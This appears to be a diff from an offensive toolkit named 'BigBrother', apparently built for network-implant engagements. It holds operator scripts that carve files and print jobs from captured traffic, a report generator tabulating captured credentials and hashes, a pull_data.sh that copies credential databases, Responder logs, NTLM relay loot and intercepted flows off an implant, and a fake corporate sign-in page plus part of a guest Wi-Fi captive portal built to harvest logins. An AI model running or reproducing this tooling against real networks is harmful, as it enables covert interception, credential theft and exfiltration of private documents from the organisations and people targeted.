tshark -r "$pcap" --export-objects "ftp-data,$ftp_dir" 2>/dev/null || true
count=$(find "$ftp_dir" -type f 2>/dev/null | wc -l)
FTP_COUNT=$((FTP_COUNT + count))
echo -e " ${GREEN}Found $count FTP objects${NC}"
# TFTP transfers
echo -e " Extracting TFTP data..."
tftp_dir="$OUTPUT_DIR/tftp/${basename_pcap%.pcap*}"
mkdir -p "$tftp_dir"
tshark -r "$pcap" --export-objects "tftp,$tftp_dir" 2>/dev/null || true
# IMF (email) objects
echo -e " Extracting email objects..."
imf_dir="$OUTPUT_DIR/imf/${basename_pcap%.pcap*}"
mkdir -p "$imf_dir"
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
echo ""
done
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
if [[ $PCAP_COUNT -eq 0 ]]; then
echo -e "${RED}[-] No PCAP files found in $PCAP_DIR${NC}"
exit 1
fi
TOTAL=$(find "$OUTPUT_DIR" -type f ! -name "*.md" 2>/dev/null | wc -l)
echo -e "${GREEN}[+] Extraction complete${NC}"
echo -e " PCAPs processed: ${PCAP_COUNT}"
echo -e " Total files: ${TOTAL}"
echo -e " HTTP objects: ${HTTP_COUNT}"
echo -e " SMB objects: ${SMB_COUNT}"
echo -e " FTP objects: ${FTP_COUNT}"
echo ""
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
echo ""
echo -e "${CYAN}[*] Review extracted files for sensitive data:${NC}"
echo " - Documents: find $OUTPUT_DIR -name '*.doc*' -o -name '*.pdf' -o -name '*.xls*'"
echo " - Config: find $OUTPUT_DIR -name '*.conf' -o -name '*.ini' -o -name '*.xml'"
echo " - Scripts: find $OUTPUT_DIR -name '*.ps1' -o -name '*.bat' -o -name '*.sh'"
+152
View File
@@ -0,0 +1,152 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Extract Print Jobs from PCAPs
#
# Reconstructs print jobs from TCP/9100 (JetDirect/RAW) traffic captured
# in PCAPs. Converts PCL/PostScript to PDF using Ghostscript.
#
# Print traffic is often unencrypted and contains sensitive documents:
# HR letters, financial reports, legal docs, network diagrams, etc.
#
# Usage: ./extract_print_jobs.sh <pcap_dir> [output_dir]
#
# Requires: tshark, ghostscript (gs)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
PCAP_DIR="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/print-jobs-$(date +%Y%m%d-%H%M%S)}"
if [[ -z "$PCAP_DIR" ]]; then
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
exit 1
fi
if [[ ! -d "$PCAP_DIR" ]]; then
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
exit 1
fi
# Check dependencies
for tool in tshark gs; do
if ! command -v "$tool" &>/dev/null; then
echo -e "${RED}[-] $tool not found${NC}"
case "$tool" in
tshark) echo " Install with: apt install tshark" ;;
gs) echo " Install with: apt install ghostscript" ;;
esac
exit 1
fi
done
mkdir -p "$OUTPUT_DIR"/{raw,pdf,metadata}
echo -e "${CYAN}[*] BigBrother Print Job Extraction${NC}"
echo -e " PCAP dir: ${PCAP_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Extract print streams from PCAPs
# ---------------------------------------------------------------------------
JOB_COUNT=0
PDF_COUNT=0
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
[[ -f "$pcap" ]] || continue
basename_pcap=$(basename "$pcap")
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
# Check if this PCAP has any port 9100 traffic
has_print=$(tshark -r "$pcap" -Y "tcp.port == 9100" -c 1 2>/dev/null | wc -l)
if [[ "$has_print" -eq 0 ]]; then
echo -e " (no print traffic)"
continue
fi
# Extract TCP streams on port 9100
# Get unique stream indices for print traffic
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 9100 && tcp.len > 0" \
-T fields -e tcp.stream 2>/dev/null | sort -un)
for stream_id in $streams; do
JOB_COUNT=$((JOB_COUNT + 1))
raw_file="$OUTPUT_DIR/raw/job_${JOB_COUNT}_stream${stream_id}.raw"
pdf_file="$OUTPUT_DIR/pdf/job_${JOB_COUNT}_stream${stream_id}.pdf"
meta_file="$OUTPUT_DIR/metadata/job_${JOB_COUNT}.txt"
# Extract the raw print data from the TCP stream
tshark -r "$pcap" -q -z "follow,tcp,raw,${stream_id}" 2>/dev/null | \
grep -E '^[0-9a-fA-F]+$' | xxd -r -p > "$raw_file" 2>/dev/null || true
if [[ ! -s "$raw_file" ]]; then
rm -f "$raw_file"
JOB_COUNT=$((JOB_COUNT - 1))
continue
fi
file_size=$(stat -c %s "$raw_file" 2>/dev/null || echo 0)
echo -e " Stream $stream_id: ${file_size} bytes"
# Record metadata (source/dest IPs, timestamps)
tshark -r "$pcap" -Y "tcp.stream == ${stream_id}" -c 1 \
-T fields -e ip.src -e ip.dst -e frame.time 2>/dev/null > "$meta_file" || true
echo "Raw file: $raw_file" >> "$meta_file"
echo "Size: $file_size bytes" >> "$meta_file"
# Detect format and convert to PDF
file_magic=$(head -c 20 "$raw_file" | cat -v 2>/dev/null || echo "")
if echo "$file_magic" | grep -q "%!PS\|%PDF\|^-E"; then
# PostScript or PDF — convert with Ghostscript
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
"$raw_file" 2>/dev/null && {
PDF_COUNT=$((PDF_COUNT + 1))
echo -e " ${GREEN}Converted to PDF: $(basename $pdf_file)${NC}"
} || {
echo -e " ${RED}Ghostscript conversion failed${NC}"
}
elif echo "$file_magic" | grep -qi "^.E.*HP\|PCL\|PJL"; then
# PCL/PJL — try Ghostscript PCL interpreter
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
"$raw_file" 2>/dev/null && {
PDF_COUNT=$((PDF_COUNT + 1))
echo -e " ${GREEN}Converted PCL to PDF: $(basename $pdf_file)${NC}"
} || {
echo -e " ${YELLOW}PCL conversion failed (raw data preserved)${NC}"
}
else
echo -e " ${YELLOW}Unknown format — raw data preserved${NC}"
echo "Format: unknown (magic: $(head -c 10 "$raw_file" | xxd -p 2>/dev/null))" >> "$meta_file"
fi
done
done
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo -e "${GREEN}[+] Print job extraction complete${NC}"
echo -e " Print jobs found: ${JOB_COUNT}"
echo -e " Converted to PDF: ${PDF_COUNT}"
echo ""
if [[ $JOB_COUNT -gt 0 ]]; then
echo -e "${CYAN}[*] Output:${NC}"
echo " Raw data: $OUTPUT_DIR/raw/"
echo " PDFs: $OUTPUT_DIR/pdf/"
echo " Metadata: $OUTPUT_DIR/metadata/"
echo ""
ls -lhS "$OUTPUT_DIR/pdf/" 2>/dev/null | tail -20 | sed 's/^/ /'
fi
+509
View File
@@ -0,0 +1,509 @@
#!/usr/bin/env python3
"""BigBrother Operator Script — Generate Engagement Report.
Pulls data from SQLite databases synced from the implant and generates
a structured engagement report in both Markdown and HTML formats.
Sections:
1. Executive Summary
2. Network Topology & Host Inventory
3. Captured Credentials
4. DNS Intelligence
5. Traffic Analysis
6. Timeline of Events
7. Recommendations
Usage:
python3 generate_report.py <data_dir> [--output <path>] [--title <title>]
Examples:
python3 generate_report.py ./bb-pull-20240115
python3 generate_report.py ./bb-pull-20240115 --title "ACME Corp Assessment"
"""
import argparse
import json
import os
import sqlite3
import sys
import time
from collections import Counter, defaultdict
from datetime import datetime, timezone
from pathlib import Path
# ---------------------------------------------------------------------------
# Database helpers
# ---------------------------------------------------------------------------
def connect_db(db_path):
"""Connect to a SQLite database if it exists."""
if not os.path.isfile(db_path):
return None
try:
conn = sqlite3.connect(db_path)
conn.row_factory = sqlite3.Row
return conn
except Exception:
return None
def safe_query(conn, sql, params=None):
"""Execute a query, returning empty list on error."""
if conn is None:
return []
try:
cursor = conn.execute(sql, params or ())
return cursor.fetchall()
except Exception:
return []
# ---------------------------------------------------------------------------
# Data collection
# ---------------------------------------------------------------------------
def collect_credentials(data_dir):
"""Collect credentials from credential database and Responder logs."""
creds = []
# From credential DB
conn = connect_db(os.path.join(data_dir, "databases", "credentials.db"))
if conn:
rows = safe_query(conn, """
SELECT timestamp, source_ip, target_ip, target_service,
username, domain, credential_type, hashcat_mode
FROM credentials
ORDER BY timestamp
""")
for r in rows:
creds.append({
"timestamp": r["timestamp"],
"source_ip": r["source_ip"] or "",
"target_ip": r["target_ip"] or "",
"service": r["target_service"] or "",
"username": r["username"] or "",
"domain": r["domain"] or "",
"type": r["credential_type"] or "",
"hashcat_mode": r["hashcat_mode"],
})
conn.close()
return creds
def collect_hosts(data_dir):
"""Collect host inventory from state database."""
hosts = []
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
if conn:
rows = safe_query(conn, """
SELECT key, value FROM kv_store
WHERE module = 'host_discovery'
""")
for r in rows:
try:
host_data = json.loads(r["value"])
if isinstance(host_data, dict):
hosts.append(host_data)
except (json.JSONDecodeError, TypeError):
pass
conn.close()
# Also check topology DB
conn = connect_db(os.path.join(data_dir, "databases", "topology.db"))
if conn:
rows = safe_query(conn, """
SELECT ip, mac, hostname, os, vendor, first_seen, last_seen
FROM hosts
ORDER BY ip
""")
for r in rows:
hosts.append({
"ip": r["ip"],
"mac": r["mac"] or "",
"hostname": r["hostname"] or "",
"os": r["os"] or "",
"vendor": r["vendor"] or "",
"first_seen": r["first_seen"],
"last_seen": r["last_seen"],
})
conn.close()
return hosts
def collect_dns_stats(data_dir):
"""Collect DNS query statistics."""
stats = {"total_queries": 0, "top_domains": [], "top_queriers": [], "doh_count": 0}
conn = connect_db(os.path.join(data_dir, "databases", "dns_queries.db"))
if not conn:
return stats
# Total queries
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries")
stats["total_queries"] = rows[0]["cnt"] if rows else 0
# DoH detections
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries WHERE is_doh = 1")
stats["doh_count"] = rows[0]["cnt"] if rows else 0
# Top queried domains
rows = safe_query(conn, """
SELECT domain, COUNT(*) as cnt
FROM dns_queries WHERE is_doh = 0
GROUP BY domain ORDER BY cnt DESC LIMIT 20
""")
stats["top_domains"] = [(r["domain"], r["cnt"]) for r in rows]
# Top querier IPs
rows = safe_query(conn, """
SELECT source_ip, COUNT(*) as cnt
FROM dns_queries WHERE is_doh = 0
GROUP BY source_ip ORDER BY cnt DESC LIMIT 15
""")
stats["top_queriers"] = [(r["source_ip"], r["cnt"]) for r in rows]
conn.close()
return stats
def collect_module_status(data_dir):
"""Collect module runtime status."""
modules = {}
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
if conn:
rows = safe_query(conn, """
SELECT module, status, started, updated
FROM module_status
""")
for r in rows:
modules[r["module"]] = {
"status": r["status"],
"started": r["started"],
"updated": r["updated"],
}
conn.close()
return modules
# ---------------------------------------------------------------------------
# Report generation
# ---------------------------------------------------------------------------
def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules):
"""Generate Markdown report."""
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
lines = []
def add(text=""):
lines.append(text)
# Header
add(f"# {title}")
add(f"\n**Generated:** {now}")
add(f"**Data Source:** `{os.path.abspath(data_dir)}`\n")
add("---\n")
# Executive Summary
add("## 1. Executive Summary\n")
add(f"- **Hosts Discovered:** {len(hosts)}")
add(f"- **Credentials Captured:** {len(creds)}")
cred_types = Counter(c["type"] for c in creds)
for ctype, count in cred_types.most_common():
add(f" - {ctype}: {count}")
unique_users = len(set(c["username"] for c in creds if c["username"]))
add(f"- **Unique Users:** {unique_users}")
add(f"- **DNS Queries Logged:** {dns_stats['total_queries']:,}")
add(f"- **DoH Blind Spots:** {dns_stats['doh_count']}")
add(f"- **Modules Active:** {sum(1 for m in modules.values() if m['status'] == 'running')}")
add("")
# Host Inventory
add("## 2. Network Topology & Host Inventory\n")
if hosts:
add("| IP | MAC | Hostname | OS | Vendor |")
add("|---|---|---|---|---|")
for h in hosts[:100]: # Cap at 100 for readability
add(f"| {h.get('ip', '')} | {h.get('mac', '')} | {h.get('hostname', '')} "
f"| {h.get('os', '')} | {h.get('vendor', '')} |")
if len(hosts) > 100:
add(f"\n*({len(hosts)} total hosts — showing first 100)*\n")
else:
add("*No host data available.*\n")
# Credentials
add("\n## 3. Captured Credentials\n")
if creds:
add("| Time | User | Domain | Service | Type |")
add("|---|---|---|---|---|")
for c in creds[:50]:
ts = ""
if c.get("timestamp"):
try:
ts = datetime.fromtimestamp(c["timestamp"], tz=timezone.utc).strftime("%Y-%m-%d %H:%M")
except Exception:
pass
add(f"| {ts} | {c['username']} | {c['domain']} | {c['service']} | {c['type']} |")
if len(creds) > 50:
add(f"\n*({len(creds)} total credentials — showing first 50)*\n")
add("\n### Credential Summary by Type\n")
for ctype, count in cred_types.most_common():
add(f"- **{ctype}**: {count}")
add("\n### Unique Users by Service\n")
service_users = defaultdict(set)
for c in creds:
if c["username"]:
service_users[c["service"]].add(c["username"])
for svc, users in sorted(service_users.items()):
add(f"- **{svc}**: {', '.join(sorted(users)[:10])}"
+ (f" (+{len(users)-10} more)" if len(users) > 10 else ""))
else:
add("*No credentials captured.*\n")
# DNS Intelligence
add("\n## 4. DNS Intelligence\n")
add(f"- **Total Queries:** {dns_stats['total_queries']:,}")
add(f"- **DoH Detections (blind spots):** {dns_stats['doh_count']}\n")
if dns_stats["top_domains"]:
add("### Top Queried Domains\n")
add("| Domain | Queries |")
add("|---|---|")
for domain, count in dns_stats["top_domains"]:
add(f"| {domain} | {count:,} |")
if dns_stats["top_queriers"]:
add("\n### Top DNS Clients\n")
add("| IP | Queries |")
add("|---|---|")
for ip, count in dns_stats["top_queriers"]:
add(f"| {ip} | {count:,} |")
# Module Status
add("\n## 5. Module Status\n")
if modules:
add("| Module | Status | Started |")
add("|---|---|---|")
for name, info in sorted(modules.items()):
started = ""
if info.get("started"):
try:
started = datetime.fromtimestamp(
info["started"], tz=timezone.utc
).strftime("%Y-%m-%d %H:%M")
except Exception:
pass
add(f"| {name} | {info['status']} | {started} |")
else:
add("*No module status data available.*\n")
# Recommendations
add("\n## 6. Recommendations\n")
add("1. **Credential Analysis**: Run `crack_hashes.sh` against captured NTLMv2 hashes")
add("2. **File Extraction**: Run `extract_files.sh` on PCAPs for document recovery")
add("3. **Print Jobs**: Check for print traffic with `extract_print_jobs.sh`")
add("4. **Email Analysis**: Run `extract_emails.sh` for SMTP traffic recovery")
add("5. **Offline Analysis**: Run Zeek against PCAPs for deep protocol analysis")
add("")
add("---\n")
add(f"*Report generated by BigBrother operator tooling — {now}*")
return "\n".join(lines)
def markdown_to_html(markdown_text, title):
"""Convert Markdown report to standalone HTML."""
# Simple Markdown-to-HTML conversion (no external deps)
html_lines = []
in_table = False
in_list = False
html_lines.append(f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{title}</title>
<style>
body{{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;max-width:1000px;margin:0 auto;padding:40px 20px;color:#1d1d1f;line-height:1.6;background:#fafafa}}
h1{{color:#1a1a2e;border-bottom:3px solid #0066cc;padding-bottom:12px}}
h2{{color:#16213e;margin-top:32px;border-bottom:1px solid #ddd;padding-bottom:8px}}
h3{{color:#333;margin-top:20px}}
table{{border-collapse:collapse;width:100%;margin:12px 0;font-size:14px}}
th,td{{border:1px solid #ddd;padding:8px 12px;text-align:left}}
th{{background:#f0f2f5;font-weight:600}}
tr:nth-child(even){{background:#f9f9f9}}
tr:hover{{background:#f0f2f5}}
code{{background:#f0f2f5;padding:2px 6px;border-radius:4px;font-size:13px}}
hr{{border:none;border-top:1px solid #ddd;margin:24px 0}}
ul{{margin:8px 0}}
li{{margin:4px 0}}
strong{{color:#1a1a2e}}
em{{color:#666}}
</style>
</head>
<body>
""")
for line in markdown_text.split("\n"):
stripped = line.strip()
# Headings
if stripped.startswith("# "):
if in_table:
html_lines.append("</table>")
in_table = False
level = len(stripped) - len(stripped.lstrip("#"))
text = stripped.lstrip("# ").strip()
html_lines.append(f"<h{level}>{_inline_format(text)}</h{level}>")
continue
# Horizontal rule
if stripped == "---":
if in_table:
html_lines.append("</table>")
in_table = False
html_lines.append("<hr>")
continue
# Table
if "|" in stripped and stripped.startswith("|"):
cells = [c.strip() for c in stripped.split("|")[1:-1]]
if all(c.replace("-", "").replace(":", "") == "" for c in cells):
continue # Skip separator row
if not in_table:
html_lines.append("<table>")
in_table = True
tag = "th"
else:
tag = "td"
row = "".join(f"<{tag}>{_inline_format(c)}</{tag}>" for c in cells)
html_lines.append(f"<tr>{row}</tr>")
continue
if in_table and not stripped.startswith("|"):
html_lines.append("</table>")
in_table = False
# List items
if stripped.startswith("- ") or stripped.startswith("* "):
if not in_list:
html_lines.append("<ul>")
in_list = True
text = stripped[2:].strip()
html_lines.append(f"<li>{_inline_format(text)}</li>")
continue
elif stripped.startswith(tuple(f"{i}. " for i in range(1, 20))):
if not in_list:
html_lines.append("<ol>")
in_list = True
text = stripped.split(". ", 1)[1] if ". " in stripped else stripped
html_lines.append(f"<li>{_inline_format(text)}</li>")
continue
if in_list and not stripped.startswith(("-", "*")) and not stripped[:2].rstrip(".").isdigit():
html_lines.append("</ul>" if in_list else "</ol>")
in_list = False
# Empty line
if not stripped:
continue
# Paragraph
html_lines.append(f"<p>{_inline_format(stripped)}</p>")
if in_table:
html_lines.append("</table>")
if in_list:
html_lines.append("</ul>")
html_lines.append("</body></html>")
return "\n".join(html_lines)
def _inline_format(text):
"""Apply inline Markdown formatting (bold, code, italic)."""
import re
text = re.sub(r"\*\*(.+?)\*\*", r"<strong>\1</strong>", text)
text = re.sub(r"`(.+?)`", r"<code>\1</code>", text)
text = re.sub(r"\*(.+?)\*", r"<em>\1</em>", text)
return text
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(
description="Generate BigBrother engagement report from synced data."
)
parser.add_argument("data_dir", help="Path to pulled data directory")
parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)")
parser.add_argument("--title", "-t", default="BigBrother Engagement Report",
help="Report title")
args = parser.parse_args()
data_dir = args.data_dir
output_dir = args.output or os.path.join(data_dir, "report")
if not os.path.isdir(data_dir):
print(f"[-] Data directory not found: {data_dir}", file=sys.stderr)
sys.exit(1)
os.makedirs(output_dir, exist_ok=True)
print(f"[*] Generating report: {args.title}")
print(f" Data: {os.path.abspath(data_dir)}")
print(f" Output: {os.path.abspath(output_dir)}")
print()
# Collect data
print("[*] Collecting credentials...")
creds = collect_credentials(data_dir)
print(f" Found {len(creds)} credentials")
print("[*] Collecting host inventory...")
hosts = collect_hosts(data_dir)
print(f" Found {len(hosts)} hosts")
print("[*] Collecting DNS statistics...")
dns_stats = collect_dns_stats(data_dir)
print(f" {dns_stats['total_queries']:,} queries logged")
print("[*] Collecting module status...")
modules = collect_module_status(data_dir)
print(f" {len(modules)} modules tracked")
print()
# Generate Markdown
print("[*] Generating Markdown report...")
md_report = generate_markdown(data_dir, args.title, creds, hosts, dns_stats, modules)
md_path = os.path.join(output_dir, "report.md")
with open(md_path, "w") as f:
f.write(md_report)
print(f" Saved: {md_path}")
# Generate HTML
print("[*] Generating HTML report...")
html_report = markdown_to_html(md_report, args.title)
html_path = os.path.join(output_dir, "report.html")
with open(html_path, "w") as f:
f.write(html_report)
print(f" Saved: {html_path}")
print()
print(f"[+] Report generation complete")
print(f" Markdown: {md_path}")
print(f" HTML: {html_path}")
if __name__ == "__main__":
main()
+138
View File
@@ -0,0 +1,138 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Pull Data from Implant
#
# Syncs structured data from the implant over WireGuard or Tailscale
# tunnel. Pulls credential DBs, DNS logs, host inventory, PCAPs, and
# all collected intelligence data.
#
# Usage: ./pull_data.sh <implant_host> [output_dir]
#
# Examples:
# ./pull_data.sh bb-implant-01 # Tailscale hostname
# ./pull_data.sh 100.64.0.5 /opt/engagements/acme
# ./pull_data.sh 10.8.0.2 ~/cases/case-001 # WireGuard IP
#
# Requires: rsync, ssh, Tailscale or WireGuard connectivity
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
IMPLANT="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/bb-pull-$(date +%Y%m%d-%H%M%S)}"
SSH_USER="${BB_SSH_USER:-root}"
SSH_KEY="${BB_SSH_KEY:-}"
BB_DATA_DIR="${BB_DATA_DIR:-/root/.bigbrother}"
if [[ -z "$IMPLANT" ]]; then
echo -e "${RED}Usage: $0 <implant_host> [output_dir]${NC}"
echo ""
echo "Environment variables:"
echo " BB_SSH_USER SSH user (default: root)"
echo " BB_SSH_KEY SSH private key path"
echo " BB_DATA_DIR BigBrother data dir on implant (default: /root/.bigbrother)"
exit 1
fi
SSH_OPTS="-o StrictHostKeyChecking=no -o ConnectTimeout=10"
if [[ -n "$SSH_KEY" ]]; then
SSH_OPTS="$SSH_OPTS -i $SSH_KEY"
fi
# ---------------------------------------------------------------------------
# Pre-flight
# ---------------------------------------------------------------------------
echo -e "${CYAN}[*] BigBrother Data Pull${NC}"
echo -e " Implant: ${IMPLANT}"
echo -e " Output: ${OUTPUT_DIR}"
echo -e " SSH User: ${SSH_USER}"
echo ""
# Test connectivity
echo -e "${YELLOW}[*] Testing connectivity...${NC}"
if ! ssh $SSH_OPTS "$SSH_USER@$IMPLANT" "echo ok" &>/dev/null; then
echo -e "${RED}[-] Cannot reach $IMPLANT via SSH${NC}"
exit 1
fi
echo -e "${GREEN}[+] Connected to $IMPLANT${NC}"
# Create output directory structure
mkdir -p "$OUTPUT_DIR"/{databases,pcaps,dns_logs,credentials,topology,intel,responder,config,loot}
# ---------------------------------------------------------------------------
# Pull data
# ---------------------------------------------------------------------------
RSYNC_OPTS="-avz --progress --compress-level=9"
if [[ -n "$SSH_KEY" ]]; then
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -i $SSH_KEY -o StrictHostKeyChecking=no'"
else
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -o StrictHostKeyChecking=no'"
fi
pull_file() {
local remote_path="$1"
local local_dir="$2"
local description="$3"
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
eval rsync $RSYNC_OPTS "$SSH_USER@$IMPLANT:$remote_path" "$local_dir/" 2>/dev/null || \
echo -e " ${RED}(not found or empty)${NC}"
}
pull_dir() {
local remote_path="$1"
local local_dir="$2"
local description="$3"
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
eval rsync $RSYNC_OPTS -r "$SSH_USER@$IMPLANT:$remote_path/" "$local_dir/" 2>/dev/null || \
echo -e " ${RED}(not found or empty)${NC}"
}
# SQLite databases
pull_file "$BB_DATA_DIR/state.db" "$OUTPUT_DIR/databases" "state database"
pull_file "$BB_DATA_DIR/dns_queries.db" "$OUTPUT_DIR/databases" "DNS query database"
pull_file "$BB_DATA_DIR/credentials.db" "$OUTPUT_DIR/databases" "credential database"
pull_file "$BB_DATA_DIR/topology.db" "$OUTPUT_DIR/databases" "topology database"
pull_file "$BB_DATA_DIR/intel.db" "$OUTPUT_DIR/databases" "intelligence database"
pull_file "$BB_DATA_DIR/kerberos.db" "$OUTPUT_DIR/databases" "Kerberos ticket database"
# PCAPs
pull_dir "$BB_DATA_DIR/pcaps" "$OUTPUT_DIR/pcaps" "PCAP files"
# Credential data
pull_dir "/opt/tools/Responder/logs" "$OUTPUT_DIR/responder" "Responder logs"
pull_dir "$BB_DATA_DIR/ntlmrelay_loot" "$OUTPUT_DIR/loot" "NTLM relay loot"
pull_file "$BB_DATA_DIR/mitmproxy_flows" "$OUTPUT_DIR/loot/" "mitmproxy flows"
# Intelligence data
pull_dir "$BB_DATA_DIR/topology" "$OUTPUT_DIR/topology" "topology maps"
pull_dir "$BB_DATA_DIR/intel" "$OUTPUT_DIR/intel" "intelligence data"
# Config (for reference)
pull_dir "$BB_DATA_DIR/config" "$OUTPUT_DIR/config" "implant configuration"
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo -e "${GREEN}[+] Data pull complete${NC}"
echo -e " Location: ${OUTPUT_DIR}"
echo ""
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
echo ""
echo -e "${CYAN}[*] Next steps:${NC}"
echo " 1. Run extract_files.sh on PCAPs for file carving"
echo " 2. Run crack_hashes.sh to crack captured hashes"
echo " 3. Run generate_report.py for engagement report"
View File
@@ -0,0 +1,57 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Corporate Sign In</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,sans-serif;background:#f0f2f5;display:flex;justify-content:center;align-items:center;min-height:100vh;color:#1d1d1f}
.login-container{background:#fff;border-radius:12px;box-shadow:0 2px 20px rgba(0,0,0,.08);padding:48px 40px;width:100%;max-width:420px}
.logo{text-align:center;margin-bottom:32px}
.logo .icon{width:48px;height:48px;background:#0066cc;border-radius:10px;display:inline-flex;align-items:center;justify-content:center;margin-bottom:12px}
.logo .icon svg{width:28px;height:28px;fill:#fff}
.logo h1{font-size:22px;font-weight:600;color:#1d1d1f}
.logo p{font-size:14px;color:#6e6e73;margin-top:4px}
.form-group{margin-bottom:20px}
.form-group label{display:block;font-size:13px;font-weight:500;color:#1d1d1f;margin-bottom:6px}
.form-group input{width:100%;padding:12px 16px;border:1px solid #d2d2d7;border-radius:8px;font-size:15px;transition:border-color .2s;outline:none;background:#fafafa}
.form-group input:focus{border-color:#0066cc;background:#fff;box-shadow:0 0 0 3px rgba(0,102,204,.1)}
.form-group input::placeholder{color:#aeaeb2}
.btn-login{width:100%;padding:13px;background:#0066cc;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;transition:background .2s}
.btn-login:hover{background:#0055b3}
.btn-login:active{background:#004499}
.help-links{text-align:center;margin-top:24px}
.help-links a{font-size:13px;color:#0066cc;text-decoration:none;margin:0 8px}
.help-links a:hover{text-decoration:underline}
.footer{text-align:center;margin-top:32px;font-size:11px;color:#aeaeb2}
.error-msg{display:none;background:#fef0f0;border:1px solid #fbc4c4;color:#c62828;padding:10px 14px;border-radius:8px;font-size:13px;margin-bottom:16px}
</style>
</head>
<body>
<div class="login-container">
<div class="logo">
<div class="icon"><svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 15l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z"/></svg></div>
<h1>Corporate Network</h1>
<p>Sign in with your organization account</p>
</div>
<div class="error-msg" id="error">Invalid credentials. Please try again.</div>
<form method="POST" action="/">
<div class="form-group">
<label for="username">Email or Username</label>
<input type="text" id="username" name="username" placeholder="user@company.com" required autocomplete="username" autofocus>
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" id="password" name="password" placeholder="Enter your password" required autocomplete="current-password">
</div>
<button type="submit" class="btn-login">Sign In</button>
</form>
<div class="help-links">
<a href="#">Forgot password?</a>
<a href="#">Request access</a>
</div>
<div class="footer">&copy; 2024 Corporate IT Services. Authorized use only.</div>
</div>
</body>
</html>
+86
View File
@@ -0,0 +1,86 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Guest WiFi Access</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);display:flex;justify-content:center;align-items:center;min-height:100vh}
.portal{background:#fff;border-radius:16px;box-shadow:0 20px 60px rgba(0,0,0,.15);padding:40px;width:100%;max-width:480px}
.header{text-align:center;margin-bottom:28px}
.header .wifi-icon{font-size:48px;margin-bottom:12px}
.header h1{font-size:24px;color:#1a1a2e;font-weight:700}
.header p{font-size:14px;color:#666;margin-top:6px;line-height:1.5}
.terms-box{background:#f8f9fa;border:1px solid #e9ecef;border-radius:10px;padding:20px;margin-bottom:24px;max-height:160px;overflow-y:auto;font-size:12px;color:#555;line-height:1.6}
.terms-box h3{font-size:13px;color:#333;margin-bottom:8px}
.form-group{margin-bottom:18px}
.form-group label{display:block;font-size:13px;font-weight:500;color:#333;margin-bottom:5px}
.form-group input,.form-group select{width:100%;padding:11px 14px;border:1px solid #ddd;border-radius:8px;font-size:14px;outline:none;transition:border-color .2s}
.form-group input:focus,.form-group select:focus{border-color:#667eea;box-shadow:0 0 0 3px rgba(102,126,234,.12)}
.checkbox-group{display:flex;align-items:flex-start;gap:8px;margin-bottom:20px}
.checkbox-group input[type=checkbox]{margin-top:3px;width:16px;height:16px;accent-color:#667eea}
.checkbox-group label{font-size:13px;color:#555;line-height:1.4}
.btn-connect{width:100%;padding:14px;background:linear-gradient(135deg,#667eea,#764ba2);color:#fff;border:none;border-radius:10px;font-size:16px;font-weight:600;cursor:pointer;transition:opacity .2s}
.btn-connect:hover{opacity:.9}
.btn-connect:disabled{opacity:.5;cursor:not-allowed}
